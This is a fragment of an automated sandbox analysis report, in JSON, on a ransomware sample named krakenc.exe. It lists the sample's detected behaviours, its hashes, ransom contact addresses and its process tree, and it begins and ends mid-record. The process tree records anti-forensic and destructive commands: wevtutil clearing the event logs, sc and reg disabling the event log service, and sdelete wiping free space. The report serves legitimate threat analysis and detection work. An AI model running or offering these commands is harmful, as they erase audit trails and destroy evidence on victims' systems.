Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"\" at 00013596-00002384-00000105-77998314236\n \"tasklist.exe\" at 00017478-00002208-00000105-88663759251\n \"sdelete.exe\" at 00019557-00003560-00000105-138218848507","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"$27","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 33 calls to GetProcAddress@KERNEL32.dll at 23260-377-00000001400055C8","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"$28","origin":"File/Memory","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\", \"sldx\", \"sql\", \"sqlite\", \"sqlite-shm\", \"sqlite-wal\", \"sqlite3\", \"sqlitedb\", \"sr2\", \"srb\", \"srf\", \"srs\", \"srt\", \"srw\", \"st4\", \"st5\", \"st6\", \"st7\", \"st8\", \"stc\", \"std\", \"sti\", \"stm\", \"stw\", \"stx\", \"svg\", \"swf\", \"sxc\", \"sxd\", \"sxg\", \"sxi\", \"sxm\", \"sxw\", \"tbb\", \"tbn\", \"tex\", \"tga\", \"thm\", \"tlg\", \"tlx\", \"txt\", \"usr\", \"vbox\", \"vdi\", \"vhd\", \"vhdx\", \"vmdk\", \"vmsd\", \"vmx\", \"vmxf\", \"vob\", \"wab\", \"wad\", \"wallet\", \"war\", \"wav\", \"wb2\", \"wma\", \"wmf\",\" (Indicator: \"vbox\")","origin":"File/Memory","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"tasklist.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"sdelete.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"onionhelp@memeware.net\"\n Pattern match: \"bm-2cwdhn4f5uymvrudbgs5bk77nscfalmjkr@bitmessage.ch\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"\" called \"OpenSCManager\" requesting access rights \"0X0\"\n \"\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)\n \"sc.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","mitre_attack_id":"T1035","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\"cmd.exe\" allocated memory in \"\\Device\\MountPointManager\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"0.1.5.0\"\n Heuristic match: \"@echo offPING 127.0.0.1 -n 1 >NULdel \"C:\\krakenc.exe\"del /q/f/s %TEMP%\"\n Heuristic match: \"PING 127.0.0.1 -n 1 >NUL\"\n Heuristic match: \"Pinging 127.0.0.1\"\n Heuristic match: \"Reply from 127.0.0.1:\"\n Heuristic match: \"Ping statistics for 127.0.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),\"\n Heuristic match: \"PING 127.0.0.1 -n 1\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"$29","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks network status using ping","description":"Process \"PING.EXE\" with commandline \"PING 127.0.0.1 -n 1\" (UID: 00019518-00003336)","origin":"Monitored Target","mitre_attack_id":"T1018","relevance":5,"id":"target-22","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$2a","origin":"API Call","mitre_attack_id":"T1107","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$2b","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"System Security","name":"Makes use of the windows event log utility","description":"Process \"wevtutil.exe\" with commandline \"clear-log Application\" (UID: 00017395-00002500)\n Process \"wevtutil.exe\" with commandline \"clear-log Security\" (UID: 00017425-00003620)\n Process \"wevtutil.exe\" with commandline \"clear-log System\" (UID: 00017441-00003224)","origin":"Monitored Target","mitre_attack_id":"T1089","relevance":10,"id":"target-76","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"sdelete64.exe\" claimed CRC 211293 while the actual is CRC 96707\n \"sdelete.exe\" claimed CRC 209923 while the actual is CRC 211293","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCloseKey\n RegCreateKeyW\n RegOpenKeyW\n GetFileAttributesW\n WriteFile\n OutputDebugStringW\n DeviceIoControl\n GetModuleFileNameW\n IsDebuggerPresent\n UnhandledExceptionFilter\n LoadLibraryExW\n TerminateProcess\n GetModuleHandleExW\n LoadLibraryW\n GetTickCount\n GetStartupInfoW\n DeleteFileW\n GetProcAddress\n FindNextFileW\n FindFirstFileW\n CreateFileW\n GetCommandLineW\n GetModuleHandleW\n Sleep\n VirtualAlloc","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2c","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":5,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"10/67 Antivirus vendors marked sample as malicious (14% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"malicious","category":"General","name":"Contains ability to start/interact with device drivers","description":"DeviceIoControl@KERNEL32.DLL at 00019557-00003560-10651-154-012C2300\n DeviceIoControl@KERNEL32.DLL at 00019557-00003560-10651-127-012C25D0\n DeviceIoControl@KERNEL32.dll at 23260-203-0000000140002750\n DeviceIoControl@KERNEL32.dll at 23260-312-00000001400024C6","origin":"Hybrid Analysis Technology","relevance":8,"id":"stream-21","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"malicious","category":"General","name":"Tries to delete registry keys using reg.exe","description":"Process \"reg.exe\" with commandline \"REG ADD \"HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete\"\" (UID: 00019517-00003856)\n Process \"reg.exe\" with commandline \"REG ADD \"HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete\" /v EulaAccepted /t REG_DWORD /d 1 /f\" (UID: 00019538-00002768)","origin":"Monitored Target","mitre_attack_id":"T1107","relevance":5,"id":"target-24","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$2d","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2e","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"malicious","category":"Ransomware/Banking","name":"The analysis extracted a known ransomware file","description":"Found dropped filename \"# How to Decrypt Files.txt\" which has been seen in the context of ransomware (Indicator: HOW TO DECRYPT FILES.txt)","origin":"Binary File","relevance":5,"id":"binary-9","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtFsControlFile@NTDLL.DLL at 00019557-00003560-10651-151-012C3720","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$2f","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]}],"incidents":[{"name":"Ransomware","details_count":2,"details":[{"detail":"The analysis extracted a known ransomware file"},{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]}]},"activity":{"stats":{"process_count":19,"spawned_processes_count":19,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":106,"dropped_files_count":0,"extracted_files_count":33,"files_written_count":237,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["adodb","crysis","ransomware"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5b7d1a137ca3e15ac1232fc3","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["USA"],"submit_name":"krakenc.exe","analysis_start_time":"2018-08-22T09:04:46+00:00","indicators_count":{"informative":25,"suspicious":25,"malicious":11},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"152.199.19.160","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]}],"dns_resolutions":[{"domain":"download.sysinternals.com","address":"152.199.19.160","ttl":3599,"country":"United States","registrar_name":"CSC CORPORATE DOMAINS, INC.","registrar_organization":"Microsoft Corporation","registrar_name_servers":"NS1-04.AZURE-DNS.COM","registrar_creation_date":"1998-04-12T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}],"processes":[{"pid":2384,"ppid":0,"name":"krakenc.exe","command_line":"","sha256":"528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc","normalized_path":"C:\\krakenc.exe","uid":"00013596-00002384","icon":"$30"},{"pid":2536,"ppid":2384,"name":"cmd.exe","command_line":"/C wevtutil.exe clear-log Application","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013596-00002384","uid":"00017387-00002536"},{"pid":2500,"ppid":2536,"name":"wevtutil.exe","command_line":"clear-log Application","sha256":"6d1b7029d64f022392078dd4eb3ba7fd706d02997e96c544db5682cd356a809c","normalized_path":"%WINDIR%\\System32\\wevtutil.exe","parent_uid":"00017387-00002536","uid":"00017395-00002500"},{"pid":3140,"ppid":2384,"name":"cmd.exe","command_line":"/C wevtutil.exe clear-log Security","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013596-00002384","uid":"00017419-00003140"},{"pid":3620,"ppid":3140,"name":"wevtutil.exe","command_line":"clear-log Security","sha256":"6d1b7029d64f022392078dd4eb3ba7fd706d02997e96c544db5682cd356a809c","normalized_path":"%WINDIR%\\System32\\wevtutil.exe","parent_uid":"00017419-00003140","uid":"00017425-00003620"},{"pid":2432,"ppid":2384,"name":"cmd.exe","command_line":"/C wevtutil.exe clear-log System","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013596-00002384","uid":"00017436-00002432"},{"pid":3224,"ppid":2432,"name":"wevtutil.exe","command_line":"clear-log System","sha256":"6d1b7029d64f022392078dd4eb3ba7fd706d02997e96c544db5682cd356a809c","normalized_path":"%WINDIR%\\System32\\wevtutil.exe","parent_uid":"00017436-00002432","uid":"00017441-00003224"},{"pid":2960,"ppid":2384,"name":"cmd.exe","command_line":"/C sc config eventlog start=disabled","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013596-00002384","uid":"00017456-00002960"},{"pid":2232,"ppid":2960,"name":"sc.exe","command_line":"sc config eventlog start=disabled","sha256":"1c2ec0bb83d2ad3f53b0706c46a2604f81f2fc2afdcf43be5914cc8f509dd48c","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00017456-00002960","uid":"00017461-00002232"},{"pid":2972,"ppid":2384,"name":"cmd.exe","command_line":"/C REG add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\eventlog\" / v Start / t REG_DWORD / d 4 / f","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013596-00002384","uid":"00017466-00002972"},{"pid":2192,"ppid":2972,"name":"reg.exe","command_line":"REG add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\eventlog\" / v Start / t REG_DWORD / d 4 / f","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00017466-00002972","uid":"00017470-00002192"},{"pid":2208,"ppid":2384,"name":"tasklist.exe","command_line":"\"tasklist\" /V /FO CSV","sha256":"ad3e811249da750d80f2762c3aeb403780c1b69d05911e3c9950a7daed9e6670","normalized_path":"%WINDIR%\\System32\\tasklist.exe","parent_uid":"00013596-00002384","uid":"00017478-00002208"},{"pid":2052,"ppid":2384,"name":"cmd.exe","command_line":"/C cd %ALLUSERSPROFILE%\\ && release.bat","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013596-00002384","uid":"00019492-00002052"},{"pid":3856,"ppid":2052,"name":"reg.exe","command_line":"REG ADD \"HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete\"","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00019492-00002052","uid":"00019517-00003856"},{"pid":2768,"ppid":2052,"name":"reg.exe","command_line":"REG ADD \"HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete\" /v EulaAccepted /t REG_DWORD /d 1 /f","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00019492-00002052","uid":"00019538-00002768"},{"pid":3476,"ppid":2052,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\sdelete.exe -c -z C:","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00019492-00002052","uid":"00019553-00003476"},{"pid":3560,"ppid":3476,"name":"sdelete.exe","command_line":"-c -z C:","sha256":"e75ef627bc6475287e73349e5ed4f9d9b831c9535c7b2751ed0d217c93a4b997","normalized_path":"%ALLUSERSPROFILE%\\sdelete.exe","parent_uid":"00019553-00003476","uid":"00019557-00003560"},{"pid":3432,"ppid":2384,"name":"cmd.exe","command_line":"cmd /c \"\"%TEMP%\\uk1dp015.0s0.bat\" \"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013596-00002384","uid":"00019499-00003432"},{"pid":3336,"ppid":3432,"name":"PING.EXE","command_line":"PING 127.0.0.1 -n 1","sha256":"4ca10dba7ff487fdb3f1362a3681d7d929f5aa1262cdfd31b04c30826983fb1d","normalized_path":"%WINDIR%\\System32\\PING.EXE","parent_uid":"00019499-00003432","uid":"00019518-00003336"}],"all_imported_dlls":["comctl32.dll","ntmarta.dll","wbemsvc.dll","user32.dll","profapi.dll","webio.dll","sspicli.dll","devobj.dll","credui.dll","dbghelp.dll","KernelBase.dll","imm32.dll","nsi.dll","IPHLPAPI.DLL","credssp.dll","System.XML.dll","winhttp.dll","winnsi.dll","FWPUCLNT.DLL","msvcrt.dll","ole32.dll","mscorlib.dll","cfgmgr32.dll","bcryptprimitives.dll","Wldap32.dll","mpr.dll","wtsapi32.dll","System.dll","mscorrc.dll","rasman.dll","mswsock.dll","cscapi.dll","ncrypt.dll","ntdsapi.dll","wmiutils.dll","mscoree.dll","msvcr80.dll","mscorjit.dll","oleaut32.dll","dhcpcsvc6.dll","System.Core.dll","userenv.dll","propsys.dll","kernel32.dll","shlwapi.dll","mscorwks.dll","version.dll","tzres.dll","Culture.dll","dhcpcsvc.dll","wkscli.dll","ntdll.dll","advapi32.dll","uxtheme.dll","cryptsp.dll","netapi32.dll","crypt32.dll","gpapi.dll","oleacc.dll","rpcrt4.dll","usp10.dll","shell32.dll","cryptbase.dll","rtutils.dll","srvcli.dll","oleaccrc.dll","urlmon.dll","rasadhlp.dll","bcrypt.dll","clbcatq.dll","iertutil.dll","winbrand.dll","wbemcomn.dll","winsta.dll","lpk.dll","System.Windows.Forms.dll","apphelp.dll","msasn1.dll","ieframe.dll","wininet.dll","setupapi.dll","framedynos.dll","wbemprox.dll","comdlg32.dll","gdi32.dll","rasapi32.dll","netutils.dll","secur32.dll","schannel.dll","psapi.dll","wshqos.dll","sechost.dll","msctf.dll","wship6.dll","security.dll","rpcss.dll","ws2_32.dll","WSHTCPIP.DLL","RpcRtRemote.dll","dnsapi.dll","shfolder.dll","wevtapi.dll","fastprox.dll","mscoreei.dll","System.configuration.dll","rsaenh.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"sdelete.exe","sha256":"e75ef627bc6475287e73349e5ed4f9d9b831c9535c7b2751ed0d217c93a4b997","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"sdelete64.exe","sha256":"29a7b149b75d216ac057edcf963e424ec40fa1150c415f812ecdabd934c85386","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"release.bat","sha256":"0d2ecd1520c27bc32bf7ac59fe21831989fcc82355abd18b9d4d2b84fc777ad3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"uk1dp015.0s0.bat","sha256":"e53847b384eaa8839de5265b86f18a96a6994729c6ad0b3a1940bbf71fd4b9ac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"PSPUBWS.contact","sha256":"ec93a3db07603d66496a08877385af80d1e4c1422e0211cd8a97d0eb064982bc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"01dMtnkBz9.gif","sha256":"fcaab24716c69102ece6e96c6e5fecb3d9190e50de3555250dd8202086cf954c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"04bZ.txt","sha256":"fec4aef3a9fbd5c3495e0f888fa6adbb6755aaf1148396f38e93fda287076c29","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"0Og1.rar","sha256":"c70253038a69e674de302847aa2199494d692b5865652fe15e2a949d3fa41b2a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"0gakl8ixtWMkw.doc","sha256":"13484761bc75c8e3beec4159e1eaaa4f55f66e3c43df37bfc1132d351a55c9c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"0zIG0D.doc","sha256":"025057b5bffa8b6ee782c445033198337f1aefde14608cd8840bd2876b1005fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"1N1A3vlRdYRii5C.mp3","sha256":"80faeed2228502f938ee4285b723ba3a98d3b1fa837f82adad1f3e2f06158efc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"1q4yvQVxByym4.rar","sha256":"bd107a5f5013ebfe28f3d08af259373f5900eabd67e3999963e7566969e05c84","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"3AVoUo9c20GI.pdf","sha256":"351a987610c4ed11ee60dac19e09a8d18f168a17f41a07bf5c628c4d31be6c84","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"3Awf.mp3","sha256":"006bcee90ae416bbbc19059ee5ccb50529c89c8ba6b7087dd1581cd86b20adf2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"4lpro8p6KuJo0.mp3","sha256":"e8c3691e8ebfc2b4460fa0933223e8957514b7249fdfff77b1bfab92d5815603","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"4nAn3p.mp3","sha256":"ddbf7d130aa1cd1a2df961e1984512624f58aeb64f1a961ca0e3946a338daf02","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"5F1yaAIKfUGQcmmt.doc","sha256":"ab09f806e073664a6f3e54623a51e920fee5766a382c1bd03d86cb2954636028","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"5aFd8vA3PE3A.mp3","sha256":"d53560f4e56b7f66bf1b8d30d2aea6946b14eb94edcc82df4070bc1dd0d48d60","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"5yqb2pxbZ.txt","sha256":"b3e64757b78f1d65b42c41eaccf0394d2a23667022a62e51230d1e9fc5522ca5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"66u5Ps.pdf","sha256":"c38244bb21edb3e3b735c319a3037564337ceb0a7f4e7ae4f235c21396a7558f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"6SZfLTu9z.doc","sha256":"a17f7e46ff3a6aba5430440eb84266e764540bb0f3210f7d70ecaee3c4f4d58b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"C04T72pR0Bcl.doc","sha256":"6d1dd891810eac000598dbc3c0d604d0b0db04e395ac25e16fe3490be54e906f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"EKeaJO.doc","sha256":"aec32299ce8c2405ea1a048af2bdc3cf5b8fc12e468dc9db3ff78c7b156761c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"F3hzum1.doc","sha256":"7d3036f3379b4641384e2f08fd981bddb4de7bcec6216cb6f30f3dae09cea153","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"Tmg2wsFHYf9ioO.doc","sha256":"eaf312cfd42b3040b32897450c775d0005b853ea9365f64a3b7f08f8d9565377","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"bg3oTe.doc","sha256":"a4639a3fdaef0f1342717a31a37c0199eb15d57ab65e8613b2b49ea17e3f41a3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"dH1rDN9f9.doc","sha256":"2632aae49c9acd5a6b3ee3f6dd47cee2dd5201b118d14405fd441084d02f9bb8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"hKY8.doc","sha256":"f713d8ab7c82cb8b4eec981984a7057893550d40add4c80973224e7a3eb05459","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"klmqz.doc","sha256":"086bc3b048d535e3e893964838ce857f558407e5864aa6c6327ff6ba6edbb65f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"lCEf83Wf7e4nuIMk.doc","sha256":"03ee7d8a9ea7750cdcddb561fda5a4e3afaf9d5b8e0753f1debee273d23a6896","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"mtgFs8Za.doc","sha256":"77d2e878b670fbdb5258645b2824d336a0de92b205a5dab9dd8b9eecd534c2b3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"rRgk91Ih5n.doc","sha256":"8199415dbe9998d4275f983b5ed65123cf86b25e2947f55232aeaf9387f93dea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"name":"w5JaoO.doc","sha256":"b558edee38205d9d921b340aef27b45463900008930c7b5813788b20c010010e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]}],"files_written":[{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5b7d